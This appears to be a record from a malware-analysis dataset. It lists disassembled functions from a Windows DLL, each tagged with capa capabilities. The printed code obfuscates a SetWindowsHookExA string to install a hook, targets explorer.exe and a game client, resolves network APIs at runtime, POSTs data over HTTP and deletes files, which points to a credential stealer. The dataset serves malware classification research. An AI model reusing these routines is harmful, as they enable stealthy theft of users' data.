joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001310
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
test eax, eax
je 0x10001385
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0x80
push 3
push 0
push 1
push 1
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10001359
jmp 0x10001385
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000131f
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100013d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.ksuser.dll
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x10008248
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x414]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10001480
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008224
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x10008230
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x414]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10001530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008208
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x10008214
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x414]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100015d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100081e8
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x100081f4
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x414]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001d80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x57
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x77
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x48
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x6b
mov byte [ebp - 6], 0x45
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x41
mov byte [ebp - 3], 0
lea eax, [ebp - 0x14]
push eax
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
mov ecx, dword [0x1000cb1c]
push ecx
push 0x100013b0
push 3
call dword [ebp - 0x18]
mov dword [0x1000db4c], eax
cmp dword [0x1000db4c], 0
je 0x10001e11
mov eax, 1
jmp 0x10001e16
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10002290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x800
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x808]
push edx
call fcn.10002590
add esp, 8
push str.explorer.exe
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x100023b7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [str.XXXXXXXXXX]
mov dword [ebp - 0x828], ecx
mov edx, dword [0x10008310]
mov dword [ebp - 0x824], edx
mov ax, word [0x10008314]
mov word [ebp - 0x820], ax
mov cl, byte [0x10008316]
mov byte [ebp - 0x81e], cl
call fcn.10002460
push str.cgdmgjasdf12gh0705
call fcn.10003280
add esp, 4
mov dword [ebp - 0x82c], eax
call fcn.10002460
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000235b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x10002360
call sym.DGJR.dll_PPPP
lea edx, [ebp - 0x828]
push edx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0xf001f
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 4], eax
push 0
push 0
push 0x12
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002406
push str.elementclient.exe
lea edx, [ebp - 0x81c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10002406
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1000cb20
lea eax, [ebp - 0x808]
push eax
call fcn.10002530
add esp, 8
lea ecx, [ebp - 0x830]
push ecx
push 0
push 0
push 0x10001e20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x100032d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008540
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.SetFilePointer
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x410], eax
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x410]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003370
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.Wininet.dll
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x1000852c
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003400
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100084cc
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.InternetWriteFile
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x100034a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100084a8
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.InternetReadFile
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003540
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008488
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.HttpQueryInfoA
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x13
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x100035e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008464
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.HttpSendRequestA
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003680
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10008440
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x410], eax
push 0x10008450
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40c], eax
push 0
push 0x80000000
mov edx, dword [ebp + 0x18]
push edx
push 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x40c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x1000841c
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x1000842c
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
push 0
push 3
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov cx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x100037d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100083f8
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.InternetOpenUrlA
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x24400000
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003870
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100083d8
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push 0x100083e8
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003910
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.Ws2_32.dll
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x40c], eax
push str.shutdown
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100039e0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov byte [ebp - 0x7c], 0
xor ecx, ecx
mov dword [ebp - 0x7b], ecx
mov byte [ebp - 0x77], cl
mov edx, dword [ebp + 8]
push edx
push 0x100089b4
call fcn.10002930
add esp, 8
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
jle 0x10003a34
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 7]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
push 0x100089bc
call fcn.10002930
add esp, 8
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
add ecx, 1
push ecx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x138]
lea eax, [edx + ecx + 7]
add eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
push 0x100089c0
call fcn.10002930
add esp, 8
mov dword [ebp - 0x134], eax
mov edx, dword [ebp - 0x134]
push edx
mov eax, dword [ebp - 4]
add eax, 1
push eax
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [ebp - 0x134]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 1]
push ecx
lea edx, [ebp - 0xf8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x7c]
push ecx
call fcn.100028b0
add esp, 8
push 0x10008207
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
push 0x100089c4
call fcn.10003870
add esp, 8
mov dword [ebp - 0x98], eax
push 0x10008222
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10008223
push 0x1000825d
mov dx, word [ebp - 0x94]
push edx
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
call fcn.10003730
add esp, 0x14
mov dword [ebp - 0x74], eax
push 0x1000825e
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 0x8c], str.Accept:__
mov dword [ebp - 0x88], 0
lea edx, [ebp - 0x8c]
push edx
push str.HTTP_1.0
lea eax, [ebp - 0xf8]
push eax
push str.POST
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.10003680
add esp, 0x14
mov dword [ebp - 0x84], eax
mov ecx, 0xb
mov esi, str.Content_Type:application_x_www_form_urlencoded
lea edi, [ebp - 0x130]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov word [ebp - 0x101], dx
mov byte [ebp - 0xff], dl
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xfc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xfc], eax
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 0xfc]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x84]
push edx
call fcn.100035e0
add esp, 0x14
mov eax, dword [ebp - 0x84]
push eax
call fcn.10003370
add esp, 4
call fcn.10002460
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.10003370
add esp, 4
call fcn.10002460
mov edx, dword [ebp - 0x98]
push edx
call fcn.10003370
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004ad0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1170
call fcn.100072e0
push 0
push 0
push 0
lea ecx, [ebp - 0x814]
call fcn.10001020
push 0
lea eax, [ebp - 0x814]
push eax
push 0x1000c314
call sub.gdiplus.dll_GdiplusStartup
push 0x800
push 0
lea ecx, [ebp - 0x1148]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
lea edx, [ebp - 0x1148]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x10
call fcn.10001010
add esp, 4
mov dword [ebp - 0x1160], eax
cmp dword [ebp - 0x1160], 0
je 0x10004b71
push 0
lea edx, [ebp - 0x1148]
push edx
mov ecx, dword [ebp - 0x1160]
call fcn.100010c0
mov dword [ebp - 0x116c], eax
jmp 0x10004b7b
mov dword [ebp - 0x116c], 0
mov eax, dword [ebp - 0x116c]
mov dword [ebp - 0x115c], eax
mov ecx, dword [ebp - 0x115c]
mov dword [0x1000c42c], ecx
lea edx, [ebp - 0x1158]
push edx
push str.image_jpeg
call fcn.10003c30
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x920]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 3
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x100087d0
lea ecx, [ebp - 0x920]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x800
push 0
lea edx, [ebp - 0x800]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
lea eax, [ebp - 0x800]
push eax
lea ecx, [ebp - 0x920]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x920]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x924], 0xf
lea ecx, [ebp - 0x924]
mov dword [ebp - 0x928], ecx
mov dword [ebp - 0x944], 1
mov edx, dword [0x100081cc]
mov dword [ebp - 0x940], edx
mov eax, dword [0x100081d0]
mov dword [ebp - 0x93c], eax
mov ecx, dword [0x100081d4]
mov dword [ebp - 0x938], ecx
mov edx, dword [0x100081d8]
mov dword [ebp - 0x934], edx
mov dword [ebp - 0x92c], 4
mov dword [ebp - 0x930], 1
lea eax, [ebp - 0x944]
push eax
lea ecx, [ebp - 0x1158]
push ecx
lea edx, [ebp - 0x800]
push edx
mov ecx, dword [0x1000c42c]
call fcn.100011b0
mov dword [ebp - 0x804], eax
mov eax, dword [0x1000c42c]
mov dword [ebp - 0x1168], eax
mov ecx, dword [ebp - 0x1168]
mov dword [ebp - 0x1164], ecx
cmp dword [ebp - 0x1164], 0
je 0x10004d01
push 1
mov edx, dword [ebp - 0x1164]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1164]
mov edx, dword [eax]
call edx
mov dword [ebp - 0x1170], eax
jmp 0x10004d0b
mov dword [ebp - 0x1170], 0
mov eax, dword [0x1000c314]
push eax
call sub.gdiplus.dll_GdiplusShutdown
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret